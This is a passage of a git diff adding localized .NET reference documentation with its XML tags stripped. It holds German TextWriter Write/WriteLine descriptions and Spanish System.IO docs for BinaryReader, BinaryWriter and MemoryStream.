Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (1 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (2 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + Das dritte zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (3 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Ein Objektarray mit 0 (null) oder mehr zu formatierenden und zu schreibenden Objekten. + + oder ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer oder gleich der Länge des -Arrays. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl ohne Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl ohne Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl ohne Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl ohne Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichen. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichenarray asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichenarray.Wenn den Wert null ist, wird nichts geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Abrufen von Daten begonnen werden soll. + Die Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn den Wert null hat, wird nichts in den Stream geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen für den Zeilenabschluss in die Textzeichenfolge oder den Stream. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Boolean-Werts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Der zu schreibende Boolean-Wert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das in den Textstream zu schreibende Zeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Array von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das Zeichenarray, aus dem die Daten gelesen werden. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das Zeichenarray, aus dem die Daten gelesen werden. + Die Zeichenposition im , an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + Der -Parameter ist null. + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Dezimalwerts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Der zu schreibende Dezimalwert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 8-Byte-Gleitkommawerts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Zeichenfolge oder den Stream. + Der zu schreibende 8-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl mit Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl mit Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt durch Aufrufen der ToString-Methode für ein Objekt die Textdarstellung dieses Objekts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das zu schreibende Objekt.Wenn null ist, wird nur das Zeichen für den Zeilenabschluss geschrieben. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 4-Byte-Gleitkommawerts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Zeichenfolge oder den Stream. + Der zu schreibende 4-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine Zeichenfolge, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende Zeichenfolge.Wenn null ist, wird nur das Zeichen für den Zeilenabschluss geschrieben. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (1 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (2 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile unter Verwendung der gleichen Semantik wie bei . + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + Das dritte zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (3 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile unter Verwendung der gleichen Semantik wie bei . + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Ein Objektarray mit 0 (null) oder mehr zu formatierenden und zu schreibenden Objekten. + Eine Zeichenfolge oder ein Objekt wird als null übergeben. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer oder gleich der Länge des -Arrays. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl ohne Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl ohne Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl ohne Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl ohne Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen für den Zeilenabschluss asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichen. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Array von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichenarray.Wenn das Zeichenarray null ist, wird nur das Zeichen für den Zeilenabschluss geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Abrufen von Daten begonnen werden soll. + Die Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn der Wert null ist, wird nur ein Zeichen für den Zeilenabschluss geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.3/es/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.3/es/System.IO.xml new file mode 100644 index 0000000..79ab9da --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.3/es/System.IO.xml @@ -0,0 +1,2090 @@ + + + + System.IO + + + + Lee tipos de datos primitivos como valores binarios en una codificación específica. + 2 + + + Inicializa una nueva instancia de la clase basada en la secuencia especificada y usando codificación UTF-8. + La secuencia de entrada. + La secuencia no admite la lectura, es null, o ya está cerrada. + + + Inicializa una nueva instancia de la clase basada en la secuencia y codificación de caracteres especificadas. + La secuencia de entrada. + Codificación de caracteres que se utilizará. + La secuencia no admite la lectura, es null, o ya está cerrada. + El valor de es null. + + + Inicializa una nueva instancia de la clase basada en la secuencia y la codificación de caracteres especificadas y, opcionalmente, deja la secuencia abierta. + La secuencia de entrada. + Codificación de caracteres que se utilizará. + true para dejar el flujo abierto después de desechar el objeto ; de lo contrario, false. + La secuencia no admite la lectura, es null, o ya está cerrada. + El valor de o es null. + + + Expone el acceso a la secuencia subyacente de . + Secuencia subyacente asociada a BinaryReader. + 2 + + + Libera todos los recursos usados por la instancia actual de la clase . + + + Libera los recursos no administrados usados que usa la clase y, de forma opcional, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Rellena el búfer interno con el número especificado de bytes leídos de la secuencia. + Número de bytes que se va a leer. + Se llega al final de la secuencia antes de se ha podido leer. + Se produce un error de E/S. + Solicitado es mayor que el tamaño del búfer interno. + + + Devuelve el siguiente carácter disponible y no hace avanzar la posición de bytes o caracteres. + Siguiente carácter que se va a leer, o -1 si no hay más caracteres disponibles o si la secuencia no admite la operación de búsqueda. + Se produce un error de E/S. + No se puede descodificar el carácter actual en el búfer de caracteres interno utilizando la seleccionado para la secuencia. + 2 + + + Lee los caracteres de la secuencia subyacente y hace avanzar la posición actual de la secuencia de acuerdo con la Encoding usada y el carácter concreto que se lea de la secuencia. + Siguiente carácter de la secuencia de entrada o -1 si no hay más caracteres disponibles en este momento. + Se produce un error de E/S. + La secuencia está cerrada. + 2 + + + Lee el número especificado de bytes de la secuencia, a partir del punto especificado en la matriz de bytes. + Número de bytes leídos en .Podría ser inferior al número de bytes solicitado si ese número de bytes no está disponible, o podría ser cero si se alcanza el final de la secuencia. + Búfer en el que se leen los datos. + Punto inicial del búfer en el que comienza la lectura. + Número de bytes que se va a leer. + La longitud del búfer menos es menor que . o bienEl número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + El valor de es null. + + o es negativo. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee el número especificado de caracteres de la secuencia, a partir del punto especificado en la matriz de caracteres. + Número total de caracteres leídos en el búfer.Este podría ser inferior al número de caracteres solicitado si dicho número de caracteres no se encuentra disponible o podría ser cero si se alcanza el final de la secuencia. + Búfer en el que se leen los datos. + Punto inicial del búfer en el que comienza la lectura. + Número de caracteres que se va a leer. + La longitud del búfer menos es menor que . o bienEl número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + El valor de es null. + + o es negativo. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero de 32 bits en formato comprimido. + Entero de 32 bits en formato comprimido. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + La secuencia está dañada. + + + Lee un valor Boolean de la secuencia actual y hace avanzar un byte la posición actual de la secuencia. + Es true si el byte es distinto de cero; en caso contrario, es false. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee el siguiente byte de la secuencia actual y hace avanzar un byte la posición actual de la secuencia. + Siguiente byte que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee el número especificado de bytes de la secuencia actual en una matriz de bytes y hace avanzar la posición actual en función del número de bytes leídos. + Matriz de bytes que contiene los datos leídos de la secuencia subyacente.Este podría ser inferior al número de bytes solicitado si se alcanza el final de la secuencia. + Número de bytes que se va a leer.Este valor debe ser 0 o un número no negativo o se producirá una excepción. + El número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + Se produce un error de E/S. + La secuencia está cerrada. + + es negativo. + 2 + + + Lee el siguiente carácter de la secuencia actual y hace avanzar la posición actual de la secuencia de acuerdo con la Encoding usada y el carácter concreto que se lee de la secuencia. + Carácter que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + Se ha leído un carácter suplente. + 2 + + + Lee el número especificado de caracteres de la secuencia actual, devuelve los datos en una matriz de caracteres y hace avanzar la posición actual de acuerdo con la Encoding usada y el carácter concreto que se lee en la secuencia. + Matriz de caracteres que contiene los datos leídos de la secuencia subyacente.Podría ser inferior al número de caracteres solicitados si se alcanza el final de la secuencia. + Número de caracteres que se va a leer. + El número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + La secuencia está cerrada. + Se produce un error de E/S. + + es negativo. + 2 + + + Lee un valor decimal de la secuencia actual y hace avanzar la posición actual de la secuencia dieciséis bytes. + Valor decimal que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un valor de punto flotante de 8 bytes de la secuencia actual y hace avanzar la posición actual de la secuencia en ocho bytes. + Valor de punto flotante de 8 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero con signo de 2 bytes en la secuencia actual y hace avanzar la posición actual de la secuencia en dos bytes. + Entero con signo de 2 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero con signo de 4 bytes en la secuencia actual y hace avanzar la posición actual de la secuencia en cuatro bytes. + Entero con signo de 4 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero con signo de 8 bytes de la secuencia actual y avanza la posición actual de la secuencia en ocho bytes. + Entero con signo de 8 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un byte con signo de esta secuencia y hace avanzar la posición actual de la secuencia en un byte. + Byte con signo que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un valor de punto flotante de 4 bytes en la secuencia actual y hace avanzar la posición actual de la secuencia en cuatro bytes. + Valor de punto flotante de 4 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee una cadena de la secuencia actual.La cadena tiene como prefijo la longitud, codificada como un entero de siete bits cada vez. + Cadena que se lee. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero sin signo de 2 bytes de la secuencia actual con la codificación "little-endian" y hace avanzar la posición de la secuencia en dos bytes. + Entero sin signo de 2 bytes que se lee en esta secuencia. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero sin signo de 4 bytes de la secuencia actual y hace avanzar la posición de la secuencia en cuatro bytes. + Entero sin signo de 4 bytes que se lee en esta secuencia. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero sin signo de 8 bytes de la secuencia actual y hace avanzar la posición de la secuencia en ocho bytes. + Entero sin signo de 8 bytes que se lee en esta secuencia. + Se llega al final de la secuencia. + Se produce un error de E/S. + La secuencia está cerrada. + 2 + + + Escribe tipos primitivos en binario en una secuencia y admite escribir cadenas en una codificación específica. + 2 + + + Inicializa una nueva instancia de la clase que escribe en una secuencia. + + + Inicializa una nueva instancia de la clase basada en la secuencia y usando codificación UTF-8. + Flujo de salida. + La secuencia no admite escritura o ya se encuentra cerrada. + + es null. + + + Inicializa una nueva instancia de la clase basada en la secuencia y codificación de caracteres especificadas. + Flujo de salida. + Codificación de caracteres que se utilizará. + La secuencia no admite escritura o ya se encuentra cerrada. + El valor de o de es null. + + + Inicializa una nueva instancia de la clase basada en la secuencia y la codificación de caracteres especificadas y, opcionalmente, dejando abierta la secuencia. + Flujo de salida. + Codificación de caracteres que se utilizará. + true para dejar la secuencia abierta después de desechar el objeto ; de lo contrario, false. + La secuencia no admite escritura o ya se encuentra cerrada. + El valor de o de es null. + + + Obtiene la secuencia subyacente del objeto . + Flujo subyacente asociado a BinaryWriter. + 1 + + + Libera todos los recursos usados por la instancia actual de la clase . + + + Libera los recursos no administrados que utiliza y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Borra todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + 1 + + + Especifica un objeto sin memoria auxiliar. + 1 + + + Contiene la secuencia subyacente. + + + Establece la posición en la secuencia actual. + Posición con la secuencia actual. + Desplazamiento de bytes relacionado con . + Un campo de que indica el punto de referencia del que se obtiene la nueva posición. + El puntero de archivo se ha movido a una posición no válida. + El valor de no es válido. + 1 + + + Escribe un valor Boolean de un byte en la secuencia actual, que es 0 si es false y 1 si es true. + Valor Boolean que se va a escribir (0 ó 1). + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un byte sin signo en la secuencia actual y avanza la posición de la secuencia en un byte. + Byte sin signo que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe una matriz de bytes en la secuencia subyacente. + Matriz de bytes que contiene los datos que se van a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + + es null. + 1 + + + Escribe una región de una matriz de bytes en la secuencia actual. + Matriz de bytes que contiene los datos que se van a escribir. + Punto inicial de donde comenzará la escritura. + Número de bytes que se van a escribir. + La longitud del búfer menos es menor que . + + es null. + + o son negativos. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un carácter Unicode en la secuencia actual y avanza la posición actual de la secuencia de acuerdo con el Encoding utilizado y los caracteres específicos escritos en la secuencia. + El carácter Unicode no suplente que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + + es un carácter suplente único. + 1 + + + Escribe una matriz de caracteres en la secuencia actual y avanza la posición actual de la secuencia de acuerdo con el Encoding utilizado y los caracteres específicos escritos en esa secuencia. + Matriz de caracteres que contiene los datos que se van a escribir. + + es null. + La secuencia está cerrada. + Se produce un error de E/S. + 1 + + + Escribe una sección de una matriz de caracteres en la secuencia actual y avanza la posición actual de la secuencia de acuerdo con el Encoding utilizado y quizás los caracteres específicos que se escriben en la secuencia. + Matriz de caracteres que contiene los datos que se van a escribir. + Punto inicial de donde se empieza a leer. + Número de caracteres que se van a escribir. + La longitud del búfer menos es menor que . + + es null. + + o son negativos. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un valor decimal en la secuencia actual y avanza la posición de la secuencia en dieciséis bytes. + Valor decimal que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un valor de punto flotante de ocho bytes en la secuencia actual y avanza la posición de la secuencia en ocho bytes. + Valor de punto flotante de ocho bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero con signo de dos bytes en la secuencia actual y avanza la posición de la secuencia en dos bytes. + Entero con signo de dos bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero con signo de cuatro bytes en la secuencia actual y avanza la posición de la secuencia en cuatro bytes. + Entero con signo de cuatro bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero con signo de ocho bytes en la secuencia actual y avanza la posición de la secuencia en ocho bytes. + Entero con signo de ocho bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un byte con signo en la secuencia actual y avanza la posición de la secuencia en un byte. + Byte con signo que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un valor de punto flotante de cuatro bytes en la secuencia actual y avanza la posición de la secuencia en cuatro bytes. + Valor de punto flotante de cuatro bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe una cadena de longitud prefijada en esta secuencia en la codificación actual de y hace avanzar la posición actual de la secuencia de acuerdo con la codificación utilizada y los caracteres específicos escritos en dicha secuencia. + Valor que se va a escribir. + Se produce un error de E/S. + + es null. + La secuencia está cerrada. + 1 + + + Escribe un entero sin signo de dos bytes en la secuencia actual y avanza la posición de la secuencia en dos bytes. + Entero sin signo de dos bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero sin signo de cuatro bytes en la secuencia actual y avanza la posición de la secuencia en cuatro bytes. + Entero sin signo de cuatro bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero sin signo de ocho bytes en la secuencia actual y avanza la posición de la secuencia en ocho bytes. + Entero sin signo de ocho bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero de 32 bits en formato comprimido. + Entero de 32 bits que se va a escribir. + Se llega al final de la secuencia. + La secuencia está cerrada. + La secuencia está cerrada. + + + Excepción que se produce cuando se intenta realizar una operación de lectura más allá del final de una secuencia. + 2 + + + Inicializa una nueva instancia de la clase con la cadena de mensaje establecida en un mensaje proporcionado por el sistema y HRESULT establecido en COR_E_ENDOFSTREAM. + + + Inicializa una nueva instancia de la clase con la cadena de mensaje establecida en y HRESULT en COR_E_ENDOFSTREAM. + Cadena que describe el error.Se pretende que el contenido de sea inteligible.El llamador de este constructor debe asegurarse de que esta cadena se ha traducido para la actual referencia cultural del sistema. + + + Inicializa una nueva instancia de la clase con un mensaje de error especificado y una referencia a la excepción interna que representa la causa de esta excepción. + Cadena que describe el error.Se pretende que el contenido de sea inteligible.El llamador de este constructor debe asegurarse de que esta cadena se ha traducido para la actual referencia cultural del sistema. + La excepción que es la causa de la excepción actual.Si el parámetro no es null, la excepción actual se produce en un bloque catch que controla la excepción interna. + + + Excepción que se inicia cuando el formato de un flujo de datos no es válido. + + + Inicializa una nueva instancia de la clase . + + + Inicializa una nueva instancia de la clase con el mensaje de error especificado. + Mensaje de error que explica la razón de la excepción. + + + Inicializa una nueva instancia de la clase con una referencia a la excepción interna que representa la causa de esta excepción. + Mensaje de error que explica la razón de la excepción. + La excepción que es la causa de la excepción actual.Si el parámetro no es null, la excepción actual se produce en un bloque catch que controla la excepción interna. + + + Crea una secuencia cuya memoria auxiliar es la memoria.Para examinar el código fuente de .NET Framework para este tipo, consulte el Reference Source. + 2 + + + Inicializa una nueva instancia de la clase con una capacidad expansible inicializada con un valor cero. + + + Inicializa una nueva instancia invariable de la clase de acuerdo con la matriz de bytes especificada. + Matriz de bytes sin signo a partir de la cual se crea la secuencia actual. + El valor de es null. + + + Inicializa una nueva instancia invariable de la clase según la matriz de bytes especificada con la propiedad establecida como se ha indicado. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Establecimiento de la propiedad , que determina si la secuencia admite escritura. + El valor de es null. + + + Inicializa una nueva instancia invariable de la clase según la región especificada (índice) de una matriz de bytes. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Índice en en el que empieza la secuencia. + Longitud de la secuencia en bytes. + El valor de es null. + + o es menor que cero. + La longitud del búfer menos es menor que . + + + Inicializa una nueva instancia invariable de la clase según la región especificada de una matriz de bytes, con la propiedad establecida como se ha indicado. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Índice en en el que empieza la secuencia. + Longitud de la secuencia en bytes. + Establecimiento de la propiedad , que determina si la secuencia admite escritura. + El valor de es null. + + o son negativos. + La longitud del búfer menos es menor que . + + + Inicializa una nueva instancia de la clase según la región especificada de una matriz de bytes, con la propiedad establecida como se ha indicado y la posibilidad de llamar a establecida según lo especificado. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Índice en en el que empieza la secuencia. + Longitud de la secuencia en bytes. + Establecimiento de la propiedad , que determina si la secuencia admite escritura. + Es true para habilitar , que devuelve la matriz de bytes sin signo desde la cual se creó la secuencia; de lo contrario, es false. + El valor de es null. + + o es negativo. + La longitud del búfer menos es menor que . + + + Inicializa una nueva instancia de la clase con una capacidad expansible inicializada según lo especificado. + Tamaño inicial de la matriz interna en bytes. + + es negativo. + + + Obtiene un valor que indica si la secuencia actual admite lectura. + true si el flujo está abierto. + 2 + + + Obtiene un valor que indica si la secuencia actual admite búsquedas. + true si el flujo está abierto. + 2 + + + Obtiene un valor que indica si la secuencia actual admite escritura. + true si el flujo admite escritura; en caso contrario, false. + 2 + + + Obtiene o establece el número de bytes asignados a esta secuencia. + Longitud de la parte utilizable del búfer para la secuencia. + Se establece una capacidad de modo que sea negativa o menor que la longitud actual de la secuencia. + La secuencia actual está cerrada. + set se invoca en una secuencia cuya capacidad no se puede modificar. + 2 + + + Lee asincrónicamente todos los bytes de la secuencia actual y los escribe en otra secuencia, utilizando el tamaño de búfer especificado y el token de cancelación. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer en bytes.Este valor debe ser mayor que cero. + Token para supervisar solicitudes de cancelación. + El valor de es null. + + es un valor negativo o es cero. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Libera los recursos no administrados usados que usa la clase y, de forma opcional, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Reemplaza el método de modo que no se realice ninguna acción. + 2 + + + De forma asincrónica borra todos los búferes de esta secuencia y supervisa las solicitudes de cancelación. + Tarea que representa la operación de vaciado asincrónico. + Token para supervisar solicitudes de cancelación. + Se ha eliminado la secuencia. + + + Obtiene la longitud de la secuencia en bytes. + Longitud de la secuencia en bytes. + La secuencia está cerrada. + 2 + + + Obtiene o establece la posición actual dentro de la secuencia. + Posición actual dentro de la secuencia. + La posición se establece en un valor negativo o un valor mayor que . + La 